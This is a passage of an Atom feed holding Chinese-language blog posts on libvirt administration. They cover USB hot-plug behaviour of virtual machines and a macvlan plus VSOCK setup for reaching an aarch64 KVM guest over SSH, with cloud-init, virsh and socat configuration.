&lt;li&gt;换品牌手机：&lt;code&gt;lsusb&lt;&#x2F;code&gt; 查新 ID，改 XML 两个 id 后在线 attach 即生效，&lt;strong&gt;不用动虚拟机定义&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wei-shen-me-bu-tui-jian-ying-bian-ma-hostdev&quot;&gt;为什么不推荐硬编码 hostdev&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;对比&lt;&#x2F;th&gt;&lt;th&gt;硬编码 domain XML&lt;&#x2F;th&gt;&lt;th&gt;在线 attach-device&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;VM 启动时设备不在场&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;启动失败&lt;&#x2F;strong&gt;（hostdev 缺失阻止域启动）&lt;&#x2F;td&gt;&lt;td&gt;无影响，随时补插&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;换设备&lt;&#x2F;td&gt;&lt;td&gt;要改 domain XML（可能需关机）&lt;&#x2F;td&gt;&lt;td&gt;改设备 XML，在线生效&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VM 重启后&lt;&#x2F;td&gt;&lt;td&gt;自动生效&lt;&#x2F;td&gt;&lt;td&gt;需重新 attach&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;硬编码方案唯一的好处是 VM 重启后自动挂载，代价是设备缺失时起不来、换设备要改定义——对「设备是可选的外设」场景不划算。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ba-xian-zhi-hou-hui-zen-yang-shi-ce-tui-fan-xiang-dang-ran&quot;&gt;拔线之后会怎样（实测，推翻想当然）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;实测环境：QEMU 10.0.8 + libvirt 11.3.0（Debian 13）&lt;&#x2F;strong&gt;。结论：&lt;strong&gt;物理拔线不会通知客户机&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理拔线&lt;&#x2F;strong&gt;：客户机内 &lt;code&gt;udevadm monitor&lt;&#x2F;code&gt; &lt;strong&gt;收不到任何事件&lt;&#x2F;strong&gt;，设备在客户机里保持「插入」状态——僵尸设备，访问才报错，但客户机认为它还在。QEMU 的 &lt;code&gt;usb-host&lt;&#x2F;code&gt; 后端不会把宿主的物理拔出传播到客户机虚拟总线，libvirt（即使 &lt;code&gt;managed=&#x27;yes&#x27;&lt;&#x2F;code&gt;）也不会自动 detach；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;virsh detach-device&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：客户机才走正常 USB 断开流程——udev 收到 REMOVE 事件、&lt;code&gt;&#x2F;dev&#x2F;bus&#x2F;usb&#x2F;xxx&lt;&#x2F;code&gt; 节点删除、客户机 adb server 报 device disconnected（detach 向 QEMU 发 &lt;code&gt;device_del&lt;&#x2F;code&gt;，这才是客户机断开事件的唯一来源）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以正确姿势：&lt;strong&gt;拔线&#x2F;换线后手动 &lt;code&gt;detach-device&lt;&#x2F;code&gt; 清理&lt;&#x2F;strong&gt;，不然客户机一直挂着僵尸设备：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh detach-device debian13 usb-device.xml   # 物理拔线后仍需显式 detach
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;再插回来&lt;&#x2F;strong&gt;：同样没有自动重挂——每次拔插、VM 重启后都要手动 &lt;code&gt;attach-device&lt;&#x2F;code&gt;。建议封装成一条链：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh start &amp;lt;vm&amp;gt; &amp;amp;&amp;amp; virsh attach-device &amp;lt;vm&amp;gt; usb-device.xml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qian-zhi-pu-tong-yong-hu-cao-zuo-virsh&quot;&gt;前置：普通用户操作 virsh&lt;&#x2F;h2&gt;
&lt;p&gt;非 root 用户连 system libvirtd 需要授权。Debian 自带 polkit 规则 &lt;code&gt;&#x2F;usr&#x2F;share&#x2F;polkit-1&#x2F;rules.d&#x2F;60-libvirt.rules&lt;&#x2F;code&gt;：&lt;strong&gt;libvirt 组成员免密放行&lt;&#x2F;strong&gt; &lt;code&gt;org.libvirt.unix.manage&lt;&#x2F;code&gt;。所以只需：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo usermod -aG libvirt peter   # 加入 libvirt 组
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;组权限对新会话生效，当前 shell 临时验证用 &lt;code&gt;sg libvirt -c &#x27;virsh list --all&#x27;&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;非 root 下 &lt;code&gt;virsh&lt;&#x2F;code&gt; 默认连 &lt;code&gt;qemu:&#x2F;&#x2F;&#x2F;session&lt;&#x2F;code&gt;（看不到系统域），显式 &lt;code&gt;virsh -c qemu:&#x2F;&#x2F;&#x2F;system&lt;&#x2F;code&gt; 或设 &lt;code&gt;export LIBVIRT_DEFAULT_URI=qemu:&#x2F;&#x2F;&#x2F;system&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;SSH 无 polkit 代理的场景也直接放行（规则直接返回 YES，不弹认证），适合脚本化。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;在线方案 = &lt;code&gt;attach-device&lt;&#x2F;code&gt;（设备 XML 独立）+ vendor&#x2F;product 匹配，换设备、拔插都不动虚拟机定义；&lt;&#x2F;li&gt;
&lt;li&gt;硬编码 hostdev 的坑：设备不在场 VM 启动失败、换设备要改定义；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;物理拔线不会通知客户机&lt;&#x2F;strong&gt;（实测）：客户机挂着僵尸设备，需显式 &lt;code&gt;detach-device&lt;&#x2F;code&gt; 才触发客户机 udev REMOVE；&lt;&#x2F;li&gt;
&lt;li&gt;热插拔不持久，拔插、重启后都要手动 attach——脚本化一条链即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>libvirt macvlan + VSOCK：局域网直连虚拟机，宿主零断网风险</title>
        <published>2026-08-31T19:02:16+08:00</published>
        <updated>2026-08-31T19:02:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/libvirt-macvlan-vsock-ssh/"/>
        <id>https://vercel.juzhong.asia/2026/08/libvirt-macvlan-vsock-ssh/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/libvirt-macvlan-vsock-ssh/">&lt;h1 id=&quot;libvirt-macvlan-vsock-ju-yu-wang-zhi-lian-xu-ni-ji-su-zhu-ling-duan-wang-feng-xian&quot;&gt;libvirt macvlan + VSOCK：局域网直连虚拟机，宿主零断网风险&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;给一台 aarch64 宿主（192.168.6.8，KVM）上的新虚拟机做&lt;strong&gt;局域网直连&lt;&#x2F;strong&gt;（局域网其他机器能直接访问 VM），但有两个顾虑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不想在宿主&lt;strong&gt;在用的网卡&lt;&#x2F;strong&gt;（enp2s0f0）上配 Linux bridge —— 万一配置出错会断 SSH，风险不可控&lt;&#x2F;li&gt;
&lt;li&gt;其他空闲网卡（enp2s0f1&#x2F;2&#x2F;3）&lt;strong&gt;都没插网线&lt;&#x2F;strong&gt;，bridge 建上去是孤岛网络，局域网够不着&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最终方案是组合拳：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;libvirt macvlan&lt;&#x2F;strong&gt;（macvtap，&lt;code&gt;type=direct&lt;&#x2F;code&gt; bridge 模式）直接挂 &lt;code&gt;enp2s0f0&lt;&#x2F;code&gt; —— 完全不动宿主网卡配置，零断网风险，LAN 可达 VM&lt;&#x2F;li&gt;
&lt;li&gt;macvlan 的代价：&lt;strong&gt;宿主机 ↔ VM 互不可达&lt;&#x2F;strong&gt;（物理网卡不接收 guest MAC 的帧）&lt;&#x2F;li&gt;
&lt;li&gt;用 &lt;strong&gt;VSOCK&lt;&#x2F;strong&gt;（virtio-vsock，cid=3）补上宿主机 → VM 的专属 SSH 通道&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;guan-jian-ren-zhi-xian-gao-dong-zai-dong-shou&quot;&gt;关键认知（先搞懂再动手）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;事实&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;macvtap bridge 模式&lt;&#x2F;td&gt;&lt;td&gt;guest 帧直接进出物理网卡，&lt;strong&gt;LAN 可达 guest&lt;&#x2F;strong&gt;；但宿主 NIC 不收 guest MAC 帧 → &lt;strong&gt;宿主↔guest 不通&lt;&#x2F;strong&gt;，这是硬限制，不是配置错误&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sshd 不监听 AF_VSOCK&lt;&#x2F;td&gt;&lt;td&gt;sshd 只绑 TCP :22；VSOCK 是独立地址族，需要 guest 内 &lt;strong&gt;socat 桥接&lt;&#x2F;strong&gt; &lt;code&gt;VSOCK-LISTEN:22 → 127.0.0.1:22&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&#x2F;dev&#x2F;vsock 要模块&lt;&#x2F;td&gt;&lt;td&gt;宿主需 &lt;code&gt;vsock&lt;&#x2F;code&gt; + &lt;code&gt;vmw_vsock_virtio_transport&lt;&#x2F;code&gt;（&lt;code&gt;&#x2F;dev&#x2F;vsock&lt;&#x2F;code&gt; 才会出现）；QEMU aarch64 的 vhost-vsock-pci 可用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用系统 libvirtd&lt;&#x2F;td&gt;&lt;td&gt;session 模式（&lt;code&gt;qemu:&#x2F;&#x2F;&#x2F;session&lt;&#x2F;code&gt;）用户进程没 CAP_NET_ADMIN，&lt;strong&gt;建不了 macvtap&lt;&#x2F;strong&gt;；用 &lt;code&gt;qemu:&#x2F;&#x2F;&#x2F;system&lt;&#x2F;code&gt;（root libvirtd）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;镜像架构&lt;&#x2F;td&gt;&lt;td&gt;aarch64 宿主只能跑 arm64 guest，amd64 ISO 装上也是全模拟、慢到没法用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;macvlan 网络定义 ≠ 连接定义&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;lt;forward mode=&#x27;bridge&#x27;&amp;gt;&amp;lt;interface dev=&#x27;...&#x27;&#x2F;&amp;gt;&amp;lt;&#x2F;forward&amp;gt;&lt;&#x2F;code&gt; 只是声明&quot;哪些物理网卡可用于 macvtap 直连&quot;的资源池，net-start 不创建任何设备、不加 iptables&#x2F;DHCP&#x2F;DNS；type=&#x27;direct&#x27; 网卡上的 dev&#x2F;mode 才是真正创建 macvtap 的参数（macvtap 的 bridge&#x2F;vepa&#x2F;private&#x2F;passthrough 模式是每条网卡自己的属性），所以两处都要写&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NoCloud seed&lt;&#x2F;td&gt;&lt;td&gt;cloud-init 首次启动自动挂载卷标 &lt;code&gt;cidata&lt;&#x2F;code&gt; 的 CDROM（seed.iso），读 &lt;code&gt;user-data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;meta-data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;network-config&lt;&#x2F;code&gt; 完成无人值守初始化（建用户&#x2F;注入密钥&#x2F;主机名&#x2F;runcmd），相当于安装应答文件，初始化完即可弹出&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;bu-zou&quot;&gt;步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;0-an-zhuang-yi-lai-su-zhu-ji&quot;&gt;0. 安装依赖（宿主机）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install -y cloud-image-utils virtinst qemu-utils socat whois
# cloud-localds（cloud-image-utils）&amp;#x2F; virt-install &amp;#x2F; qemu-img &amp;#x2F; ssh ProxyCommand 的 socat &amp;#x2F; mkpasswd（whois）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-ding-yi-macvlan-wang-luo-macvtap-zhi-lian&quot;&gt;1. 定义 macvlan 网络（macvtap 直连）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- macvlan0.xml --&amp;gt;
&amp;lt;network&amp;gt;
  &amp;lt;name&amp;gt;macvlan0&amp;lt;&amp;#x2F;name&amp;gt;
  &amp;lt;forward mode=&amp;quot;bridge&amp;quot;&amp;gt;
    &amp;lt;interface dev=&amp;quot;enp2s0f0&amp;quot;&amp;#x2F;&amp;gt;
  &amp;lt;&amp;#x2F;forward&amp;gt;
&amp;lt;&amp;#x2F;network&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh net-define macvlan0.xml &amp;amp;&amp;amp; virsh net-start macvlan0 &amp;amp;&amp;amp; virsh net-autostart macvlan0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;VM 网卡最终是 &lt;code&gt;type=&#x27;direct&#x27;&lt;&#x2F;code&gt; + &lt;code&gt;mode=&#x27;bridge&#x27;&lt;&#x2F;code&gt;，直接挂物理网卡：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;interface type=&amp;#x27;direct&amp;#x27;&amp;gt;
  &amp;lt;source network=&amp;#x27;macvlan0&amp;#x27; dev=&amp;#x27;enp2s0f0&amp;#x27; mode=&amp;#x27;bridge&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;model type=&amp;#x27;virtio&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;interface&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么网络里已声明 &lt;code&gt;dev=&#x27;enp2s0f0&#x27;&lt;&#x2F;code&gt;，网卡上还要再写一遍 dev&#x2F;mode？网络 XML 只是&quot;可用物理网卡池&quot;（net-start 不创建设备），macvtap 模式是每条网卡自己的属性，type=&#x27;direct&#x27; 网卡是自包含的连接定义，libvirt 不会从网络定义里替你填参数。想省事可改用 &lt;code&gt;&amp;lt;interface type=&#x27;network&#x27;&amp;gt;&amp;lt;source network=&#x27;macvlan0&#x27;&#x2F;&amp;gt;&amp;lt;&#x2F;interface&amp;gt;&lt;&#x2F;code&gt; 让 libvirt 自动从池里选网卡并默认 bridge 模式，但单网卡时两者等价。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2-jing-xiang-yu-seed&quot;&gt;2. 镜像与 seed&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;seed.iso 的作用&lt;&#x2F;strong&gt;：Ubuntu cloud 镜像出厂不带用户&#x2F;密码，首次启动时 cloud-init 自动查找卷标 &lt;code&gt;cidata&lt;&#x2F;code&gt; 的可挂载卷（即 seed.iso），读里面的 &lt;code&gt;user-data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;meta-data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;network-config&lt;&#x2F;code&gt; 完成无人值守初始化——建用户、注入 SSH 公钥、设密码、主机名、执行 runcmd。相当于&quot;安装应答文件&quot;，初始化完成后即可弹出。&lt;code&gt;cloud-localds&lt;&#x2F;code&gt; 只是把 YAML 打包成 ISO 的工具（来自 cloud-image-utils 包），seed.iso 不需要下载。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# arm64 cloud 镜像（~590MB）
wget -O &amp;#x2F;data&amp;#x2F;vm&amp;#x2F;noble-server-cloudimg-arm64.img \
  https:&amp;#x2F;&amp;#x2F;cloud-images.ubuntu.com&amp;#x2F;noble&amp;#x2F;current&amp;#x2F;noble-server-cloudimg-arm64.img
qemu-img convert -f qcow2 -O qcow2 noble-server-cloudimg-arm64.img u24.qcow2
qemu-img resize u24.qcow2 50G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;seed 由 1 个必建文件 + 2 个可选文件组成，全部放在 &#x2F;data&#x2F;vm 下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;seed.yaml（必建）&lt;&#x2F;strong&gt;：用户&#x2F;密钥&#x2F;开机动作（DHCP 默认，无需 network 配置）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;#cloud-config
hostname: u24
users:
  - name: smyl
    sudo: ALL=(ALL) NOPASSWD:ALL
    groups: sudo
    shell: &amp;#x2F;bin&amp;#x2F;bash
    lock_passwd: false
    passwd: &amp;lt;mkpasswd -m sha-512 生成的密码哈希&amp;gt;
    ssh_authorized_keys:
      - &amp;lt;宿主公钥，cat ~&amp;#x2F;.ssh&amp;#x2F;id_ed25519.pub 的内容&amp;gt;
ssh_pwauth: true
runcmd:
  - modprobe vsock_virtio || true
  - apt-get update -qq &amp;amp;&amp;amp; apt-get install -y -qq qemu-guest-agent
  - systemctl enable --now qemu-guest-agent
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;meta-data（可选，不建则 cloud-localds 自动生成）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;instance-id: u24-001
local-hostname: u24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;network-config.yaml（可选，DHCP 场景不需要）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;version: 2
ethernets:
  all:
    match:
      name: &amp;quot;en*&amp;quot;
    dhcp4: true
    dhcp6: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成 ISO 并验证（注意 passwd 必须是 sha-512 哈希，不能写明文）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd &amp;#x2F;data&amp;#x2F;vm
cloud-localds &amp;#x2F;data&amp;#x2F;vm&amp;#x2F;seed.iso seed.yaml
# 完整三件套：cloud-localds -v --network-config network-config.yaml seed.iso seed.yaml meta-data
isoinfo -f -i &amp;#x2F;data&amp;#x2F;vm&amp;#x2F;seed.iso   # 验证：应列出 &amp;#x2F;user-data &amp;#x2F;meta-data（&amp;#x2F;network-config 可选）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-jian-vm&quot;&gt;3. 建 VM&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virt-install --connect qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system \
  --name u24 --memory 4096 --vcpus 4 \
  --disk path=&amp;#x2F;data&amp;#x2F;vm&amp;#x2F;u24.qcow2,format=qcow2,bus=virtio \
  --disk path=&amp;#x2F;data&amp;#x2F;vm&amp;#x2F;seed.iso,device=cdrom \
  --network network=macvlan0,model=virtio \
  --os-variant ubuntu22.04 --import --graphics none --noautoconsole
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-gua-vsock-she-bei-cid-3&quot;&gt;4. 挂 VSOCK 设备（cid=3）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- vsock.xml --&amp;gt;
&amp;lt;vsock&amp;gt;
  &amp;lt;cid auto=&amp;quot;no&amp;quot; address=&amp;quot;3&amp;quot;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;vsock&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh attach-device --config u24 vsock.xml   # 注意 --config 只写配置，需重启 VM 才生效
virsh start u24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;cid 是什么&lt;&#x2F;strong&gt;：Context Identifier，AF_VSOCK 地址族里的节点地址，作用相当于 IP——VSOCK 通信用 &lt;code&gt;(cid, port)&lt;&#x2F;code&gt; 二元组寻址（类比 TCP 的 &lt;code&gt;(IP, 端口)&lt;&#x2F;code&gt;），cid 在整台宿主机上全局唯一（所有 VM 共享一个 VSOCK 地址空间）。保留值（&lt;code&gt;linux&#x2F;vm_sockets.h&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;cid&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0xFFFFFFFF&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;VMADDR_CID_ANY&lt;&#x2F;code&gt;（通配）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;VMADDR_CID_HYPERVISOR&lt;&#x2F;code&gt;（虚拟化层）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;VMADDR_CID_LOCAL&lt;&#x2F;code&gt;（本机进程间）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;VMADDR_CID_HOST&lt;&#x2F;code&gt;（宿主机，固定不变）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;≥3&lt;&#x2F;td&gt;&lt;td&gt;各 guest 自行分配&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;cid=3 没有特殊语义&lt;&#x2F;strong&gt;——QEMU 规定 guest cid 最小为 3（2 及以下全被保留），所以 3 是合法的最小值，第一个 VM 惯例上就用它（libvirt &lt;code&gt;&amp;lt;cid auto=&#x27;yes&#x27;&amp;gt;&lt;&#x2F;code&gt; 自动分配时也从 3 开始），之后每个 VM 换个不重复的数字（4、5…）。对应到本文：宿主连 &lt;code&gt;VSOCK-CONNECT:3:22&lt;&#x2F;code&gt; 就是&quot;连 u24 这台机器&quot;；反过来 guest 要连宿主机则固定用 cid=2。&lt;&#x2F;p&gt;
&lt;p&gt;guest-agent channel 不需要手动挂，virt-install 自动加了 &lt;code&gt;org.qemu.guest_agent.0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-guest-nei-zuo-vsock-tcp-qiao-jie&quot;&gt;5. guest 内做 VSOCK → TCP 桥接&lt;&#x2F;h3&gt;
&lt;p&gt;sshd 不监听 AF_VSOCK，需要 socat 转发（VM 内）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install -y socat
cat &amp;gt; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;vsock-sshd.service &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
[Unit]
Description=VSOCK to TCP sshd bridge
After=network.target

[Service]
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;socat VSOCK-LISTEN:22,fork,reuseaddr TCP:127.0.0.1:22
Restart=always

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload &amp;amp;&amp;amp; systemctl enable --now vsock-sshd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-su-zhu-ce-ssh-bie-ming&quot;&gt;6. 宿主侧 ssh 别名&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ~&amp;#x2F;.ssh&amp;#x2F;config
Host u24
    HostName localhost
    ProxyCommand socat - VSOCK-CONNECT:3:22
    User smyl
    HostKeyAlias u24
    ServerAliveInterval 30
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首次连接需 &lt;code&gt;ssh -o StrictHostKeyChecking=accept-new u24&lt;&#x2F;code&gt; 记录 host key（HostKeyAlias 保证存到 &lt;code&gt;u24&lt;&#x2F;code&gt; 名下，hostname 无所谓）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-chi-jiu-hua-su-zhu-zhong-qi-hou-zi-dong-hui-fu&quot;&gt;7. 持久化（宿主重启后自动恢复）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo -e &amp;quot;vsock\nvmw_vsock_virtio_transport&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;modules-load.d&amp;#x2F;vsock.conf
virsh net-autostart macvlan0   # 网络自启
virsh autostart u24            # VM 自启
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# LAN 直连（其他机器也能这样访问 VM）
ssh smyl@192.168.5.193        # DHCP 分配的 IP

# 宿主机走 VSOCK（不依赖网络，网卡挂了也能连）
ssh u24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;VM 的 DHCP IP 通过 guest-agent 查询（macvtap 下宿主 ARP 表看不到 guest，&lt;code&gt;domifaddr --source arp&lt;&#x2F;code&gt; 不灵）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh qemu-agent-command u24 &amp;#x27;{&amp;quot;execute&amp;quot;:&amp;quot;guest-network-get-interfaces&amp;quot;}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cai-guo-de-keng&quot;&gt;踩过的坑&lt;&#x2F;h2&gt;
&lt;ul&gt;
